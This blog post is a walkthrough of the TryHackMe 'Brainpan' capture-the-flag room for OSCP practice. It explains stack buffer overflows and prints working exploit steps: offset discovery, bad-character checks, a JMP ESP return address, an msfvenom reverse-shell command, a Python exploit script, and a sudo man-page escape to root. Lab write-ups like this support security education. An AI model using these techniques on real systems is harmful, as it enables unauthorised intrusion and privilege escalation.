Introduction to Windows Stack Buffer Overflow — TryHackMe Brainpan Walkthrough

Abhishek Rautela
20 min readSep 29, 2021

The OSCP exam consists of a 25 point Buffer Overflow machine. Some people make the mistake of leaving out this topic, even though these are probably the easiest 25 points in the exam. Once practised enough you’ll be able to exploit any buffer overflow room within 45 minutes.

We will be using a freely available Try Hack Me room to understand the concepts. I will be going through the entire walkthrough of the room, so if you wish to just read about the BOF section, just skip to it.

Brainpan(Brainpan 1) is a Hard rated Linux machine that requires reversing a Windows executable to detect a Stack Buffer Overflow vulnerability and exploit it to gain a shell on the box.

Start the machine by clicking on the green Start button. Copy the IP address once displayed. Don’t forget to keep adding time to your machine so that the box doesn’t shut down.


We will begin with an all port NMAP TCP scan.

sudo nmap -T4 -vv -p- -A -vv -oA nmap/brainpan
  • -T4 : Run faster scan.
  • -A: Enable OS detection, version detection, script scanning, and traceroute.
  • -p- : Scan all ports.
  • -vv : Verbose output.
  • -oA : Output all formats.
# Nmap 7.91 scan initiated Mon Jan 11 06:32:00 2021 as: nmap -T4 -vv -p- -A -vv -oA nmap/brainpan
Increasing send delay for from 0 to 5 due to 2224 out of 5559 dropped probes since last increase.
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up, received timestamp-reply ttl 61 (0.39s latency).
Scanned at 2021-01-11 06:32:00 EST for 1607s
Not shown: 65525 closed ports
Reason: 65525 resets
9999/tcp open abyss? syn-ack ttl 61
| fingerprint-strings:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
10000/tcp open http syn-ack ttl 61 SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:
Uptime guess: 0.019 days (since Mon Jan 11 06:31:15 2021)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 23/tcp)
1 427.16 ms
2 ... 3
4 431.06 ms
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Mon Jan 11 06:58:47 2021 -- 1 IP address (1 host up) scanned in 1609.13 seconds

Nmap returns only two ports open:

  • Port 9999
  • Port 10000

Port 9999 has some weird looking service running but port 10000 is probably running an HTTP webserver.


Let us start our enumeration with port 9999. We will use Netcat to connect to the port as NMAP wasn’t sure what service the port is running.

nc -nvC 9999

We get an ASCII art and an input field that asks for a password. I tried using brainpan but it wasn’t as simple as that. Let us move on for now, as we don’t know how to approach this application.

Visiting the web server in a browser we get the following page.

As there is nothing of interest, let us fire up gobuster to scan for hidden files and directories.

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt -t 30 

Gobuster returns an interesting directory.

  • /bin

Visiting the directory we get the directory listing with a single Windows executable.

According to the NMAP scan, the box is probably a Linux box. You can confirm this by sending an ICMP ping request to the box. For Linux, the TTL is usually around 64 whereas, for Windows, the TTL value is around 127.

As we don’t have any other clue about the box, let us download the executable.

Buffer Overflow

We do not know much about this executable so the only option is to get our hands dirty and decompile it in Ghidra.

The first thing I like to check when decompiling a binary is the main function. The main function must look like something as shown in the image below.

Analyzing the main function, we notice the _get_reply function being called a couple of times.

We can also check this in the decompiler window. The decompiler window displays the actual source code of the binary.

Jumping to the _get_reply function we observe that the function is comparing the user-provided string to a hardcoded password ‘shitstorm’. The code for which looks as follows:

Using the password ‘shitstorm’ we do get an “ACCESS GRANTED” message, but the program just terminates after that. Seems like there isn’t much functionality added to this binary.

The other thing I noticed in the _get_reply function was an unsafe strcpy function. Strcpy is known to be vulnerable to memory corruption attacks and if everything goes right, we can use this to get a shell on the box. But first of all why is strcpy unsafe?

The function strcpy has no way to identify the length of the destination buffer. In simple terms, if we pass a large enough string to strcpy, we can cause a buffer overflow and write malicious code into the stack.

To read more about strcpy refer to the following links.

Before jumping to any conclusion let us confirm this by sending a large string to the program. Here I printed 1000 A’s with python and sent them to the program.

The program crashes, confirming the stack overflow vulnerability. Now before we proceed further, let us define what stack is.

Have a look at the following illustration.

Image Source:


Stack is a temporary memory allocation area for programs, functions and variables. The size of memory to be allocated is decided by the compiler and whenever a function is called, its variables get memory allocated on the stack. Whenever the function call is over, the memory for the variables is de-allocated. Due to this, a programmer doesn’t need to worry about the memory allocation and deallocation of stack variables. Each thread running in an application will have its own stack. The data stored can only be accessible by the owner thread.

Stack is a LIFO(Last In First Out) data structure, i.e. the data stored first is retrieved last.

Assembly language provides two instructions for stack operations: PUSH and POP. These instructions have syntax like −

PUSH    operand
POP address/register


This means the items PUSHED into the stack at the last are POPPED first.

Another data structure present here is HEAP, which is a long term and dynamic memory allocation area. In this scenario, we’re only concerned with the stack.

When a thread in a program calls a function, it must know which address it must return to once the function execution is complete. This address is called a return address and is stored in the stack. The return address is used to switch the flow of the program to normal once the execution of the function is complete.


The CPU registers are small storage areas used to access data rapidly. The Intel x86 processor uses complex instruction set computer (CISC) architecture, which means there is a modest number of special-purpose registers instead of large quantities of general-purpose registers.

There are nine CPU registers. Check the following image:

Image source:

Image Source:

The registers were initially created for 16-bit architecture and then extended for x86 architecture, hence the ‘e’ in the name. Each register can contain 32 bit values(0 to 0xFFFFFFFF) or 16 bit or 8 bit value in the subregisters.

The nine CPU registers are as follows:

  1. EAX — The accumulator register. It is the primary register used for common arithmetical and logical instructions.
  2. EBX — The base register. It doesn’t have much importance in our scenario and is generally used as a base pointer for memory addresses.
  3. ECX — The counter register. As the name implied this register is used in loops and rotation counters.
  4. EDX — The data register. This register is used for I/O port addressing and mathematical operations such as multiplication, and division. It is also used for storing function variables.
  5. ESI — The source index. It is the counterpart to EDI. Used to store pointer addressing of data and source in string copy operations.
  6. EDI — The destination index. Used to store pointer addressing of data and destination in string copy operations.
  7. ESP — The Stack Pointer. It is used to track the top of the stack, by storing a pointer to it. As data is added to the stack the ESP changes frequently.
  8. EBP — The Base Pointer. It is used to keep track of the base of the stack. It stores a pointer to the top of the stack and is often used to store local variables when a function is executed.
  9. EIP — The Instruction Pointer. This is the most important register for our purpose. It points to the next memory address of the next instruction set to be executed.

That’s all we need to know for now. Let’s try to develop an exploit for the vulnerability.


First of all, we will need a debugger to help us in writing an exploit. I will be using Immunity Debugger for this purpose.

Run brainpan.exe and attach immunity to the process. Once attached you’ll see the following screen. Note the execution status is paused, as displayed at the bottom right corner.

Run the program with F9. The screen shall change to something as follows.

With immunity attached to our executable, we can proceed with exploit development. Repeat the process every time brainpan.exe crashes.

Finding the offset

The first step when dealing with stack overflow is to find the exact offset at which the program crashes. Well, this can be a dull task so we will write a fuzzer in python to ease it out.

In the script, we import the socket, sys and time library and create an initial payload of 100 A’s. We then connect to the brainpan.exe on the specified IP and port and send the payload to it. We’ll be using byte strings later on in the exploit so we encode it beforehand. The script then sleeps for 10 seconds and increment the number of A’s by 100. The sleep function helps us determine the approximate byte range between which the program crashes.

On running the exploit we see that the program crashes at around 600 bytes. Checking the debugger we see a bunch of A’s. An important observation here is the EIP register. The EIP register displays 41414141 which is the hex code for ‘AAAA’. Great, we have successfully crashed the program and overwrite the EIP with 4 A’s.

Let us confirm the length by modifying the payload as follows. If our calculation was correct the 600 A’s will crash the program once again. We don’t need to loop through now, you can also remove the time module and time.sleep().

Running the exploit confirms the approximate offset length. Now we need to find the exact offset, but how do we do it. Well, if we can pass a unique non-repetitive string to the program and check what string overwrites the EIP we can indeed confirm the offset. This is easier said than done, but we have a Metasploit module to rescue.

Generate a non-repetitive string with msf-pattern_create.

msf-pattern_create -l 600

Copy the string and change the payload as follows. We have replaced the A’s with the pattern-create string.

Run the exploit. The program crashes once again. This time EIP has been overwritten by something else.

To find the exact length of the offset we will use msf-pattern_offset. Pass the length of the string with the -l flag and the data with which the EIP has been overwritten, with the -q flag.

msf-pattern_offset -l 600 -q 35724134

We get the exact offset length at 524 bytes. Let us confirm this by modifying the payload as follows.

The payload consists of 524 A’s followed by 4 B’s and 72(600–524–4) C’s. If we have calculated the offset length correctly, this time the EIP will be overwritten by 4 B’s.

Run the exploit.

Running the exploit we confirm that the EIP has been overwritten by 4 B’s(42424242).

Finding Bad Characters.

The next step is to find the bad characters for the binary. Every program can have a different set of bad characters. One such example is the \x00 or the NULL BYTE.

You can grab the complete list of bad characters from the following attached link.

Modify the payload as follows. Note that the Null Byte(\x00) is not present, as it is already known to be bad.

Restart the program and attach immunity to it. Run the exploit.

The program crashes once again. Right-click on the ESP register and select follow in dump. You’ll get a similar output as shown below.

Luckily brainpan.exe doesn’t have any bad characters. If a program has a bad character you’ll see weird or missing values in the hex dump. For example, if \x25 is bad for a program you’ll see the 25(maybe 26 too) missing from the hex dump. In such a scenario, remove the bad character from the list, restart immunity and rerun the exploit until all the bad characters are known.

This is a crucial step and missing out on a single bad character can make your exploit not work even when all other steps have been followed correctly.

Once you have known all the bad characters, note them down.

Finding a return address

We can store our shellcode at the address pointed to by ESP, but we need a reliable way to get that code executed. The solution to this is is to use a JMP ESP instruction, which as the name suggests, jumps to the address pointed to by ESP when executed.

We need to find a reliable address so that, we can redirect EIP to it. This will cause the JMP ESP instruction to be executed at the time of the crash. This jump will lead the execution into our shellcode.

For this purpose, we will use the script developed by the corelan team. You can download the script from the following link.

Paste the script into the PyCommands directory of the Immunity Debugger.

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Once added, run the script with the following command:

!mona modules

The command returns a list of running processes along with their address and protection settings.


We are looking for a process that is related to brainpan.exe and has all the protection settings set to False.

We will not deep dive into protection settings but brief info about the important one’s won’t do any harm.

Structured Exception Handler(SEH): SEH is compiler protection. SafeSEH works by instructing the operating system to first check the handler pointers for validity (against a table of known valid EHs) before jumping to them. There are a few restrictions to this process and under special circumstances, an application might still be vulnerable but an SEH-based attack is less likely to take place (or significantly harder to craft).

When linking against a non-safeSEH compiled module the linker won’t be able to generate a “trusted table” of EH locations (it simply cannot tell where and if those are valid EHs).

You can read more about SEH at the attached link:

Address space layout randomization(ASLR): Address space layout randomization is a technique that is used to increase the difficulty of performing a buffer overflow attack that requires the attacker to know the location of an executable in memory.

In order to prevent an attacker from reliably jumping to an address, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

You can read more about ASLR here:

Data Execution Prevention (DEP): Data Execution Prevention (DEP) is a system-level memory protection feature that enables the system to mark one or more addresses of memory as non-executable. Marking memory regions as non-executable means that code cannot be run from that region of memory, which makes it harder for the exploitation of memory corruption.

DEP prevents code from being run from data pages such as the default heap, stacks, and memory pools. If an application attempts to run code from a data page that is protected, a memory access violation exception occurs, and if the exception is not handled, the calling process is terminated.

You can read more about DEP here:

With some understanding of the protection settings, we can see that there is only a brainpan.exe service that is linked to the brainpan executable. Note that the service doesn’t need to be specifically a .exe file but can also be a .dll. Always check for DLL's that might be attached to the executable we are testing for.

The next step is to find a return address for the service. An important point to note here is to always check the address of the service for bad characters, if the address contains any bad character we won’t be able to write an effective exploit for it. In our case, brainpan.exe doesn’t have any bad characters except the null byte(\x00).

As said earlier, we need to look for JMP ESP instruction. We will be using the ‘msf-nasm_shell’ module provided by Metasploit to generate an opcode for the instruction.

msf-nasm_shellnasm > JMP ESP

The opcode for JMP ESP is FFE4(\xff\xe4). Now let’s find the return address with the script. Specify the opcode with -s(search IG) flag and service name with -m(module IG) flag.

!mona find -s “\xff\xe4” -m “brainpan.exe”

We get an address, and it has all the protection settings set to false. The return address for brainpan.exe is 311712F3. Search for the address in immunity by clicking on the highlighted icon in the image below and enter the address.

This confirms that the return address indeed points to JMP ESP instruction.

We will have to modify our script and include the return address instead of the B’s. We also have to keep in mind that the return address is in little-endian format i.e. the address 311712F3 becomes F3121731. Modify the payload as follows and set a breakpoint on our return address by selecting the address and pressing F2.

On running the exploit we confirm that we indeed hit the breakpoint.

Great, now we just have one more obstacle to cross before we can generate a reverse shell payload. Currently, our payload has only 72 bytes(the C’s in the payload above) that are being written to the stack. This space is too less for a reverse shell payload. One solution to this is to increase the number of bytes and check that the program crashes and behaves just like it was behaving earlier with our previous payload. Increase the number of bytes to any number of your choice and run the exploit once again. In my case, I increased the total length of the payload from 600 bytes to 1200 bytes.

Right-click on the ESP register and select follow in stack. We can see the C’s being written into it.

Double click on the first address and follow until you see the end as shown in the image below.

In a programmer calculator select hex and enter the final value of the address, in my case it being 1D4. Check the decimal equivalent of it. We get 468 bytes.

This space might work for us. You can confirm it by modifying the payload as follows.

The payload overwrites the EIP with 4 C’s and the stack with the remaining D’s. Now we can generate a reverse shell payload.

Getting a shell on the box

We will use msfvenom to generate a reverse shell payload.

sudo msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=7777 EXITFUNC=thread -e x86/shikata_ga_nai -b “\x00” -f c

Note: The EXITFUNC=thread value allows you to run the exploit multiple times without crashing the service. This way we will not have to reset the box even if our exploit fails. Also remember to pass the bad characters with the -b flag (ex: “\x00\x25\x30\x45\x50").

Add the reverse shell payload to the exploit as follows. Remember to add the b’s in front of every line, as we are sending byte strings(not required in Python 2.7).

import socket
import sys
shellcode = (payload here")
buffer = b"A" * 524 + b"\xf3\x12\x17\x31" + b"\x90" * 20 + shellcode
payload = buffer + b'\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 9999))
print (f"\nPWNED.......!!!!!!!!!!!!!")
print (f"Crashed at {str(len(buffer))} bytes")

We also added 20 ‘\x90’, also called nops(no operations). This will provide a space for our payload as we have encoded our payload with encoder shikata_ga_nai. Due to the encoding, our payload is not directly executable and needs to be converted into executable form before being processed. This causes the payload to be prepended by a decoder stub that uses an operation called ‘GetPC routine’ to decode the payload. The nops provide us with a wide launching pad(empty space) for our reverse shell payload.

Exit the immunity debugger and run the executable by itself. Run the exploit.

We get a shell. Now we can run the exploit on the box. Running the exploit against the box gives us a shell as puck user.

The shell behaves weirdly and basic windows commands don’t seem to work. The box is supposed to be a Linux box. Let us regenerate the payload for Linux.

Running the exploit this time get’s us a Linux reverse shell. Upgrade to a tty shell with python.

python -c 'import pty; pty.spawn("/bin/bash")'

We are puck user. Great, we have successfully exploited the buffer overflow vulnerability and got a shell on the box.

You can learn more about buffer overflows in the attached links.

Privilege Escalation

Before running any automated script let’s check for basic privesc attack vectors.

Groups: groups Sudo permissions: sudo -l SUID: find / -perm -4000 -ls 2>/dev/nullCronjobs: cat /etc/cron*

The sudo -l command return that we can run a script as the root user without providing a password.

On executing the script we get the following options.

After playing with all the options, the manual option seems interesting. We can use this option to load man pages.

Checking the gtfobins we do get a way of escaping man pages.

Run the script and escape the man pages with !/bin/sh.

We are ROOT…!!!!!!!

We have complete access to the machine. This machine can be an easy but effective tool for learning the x86 Buffer Overflows.

Parting thoughts:

In this machine, we learned about reversing windows executable to detect memory corruption vulnerability and writing an exploit for x86 buffer overflow to get a shell on the box. The privilege escalation was pretty basic where we had to escape shell with man pages.

Thank You for reading.

For suggestions/queries reach out to me on Twitter @accesscheck.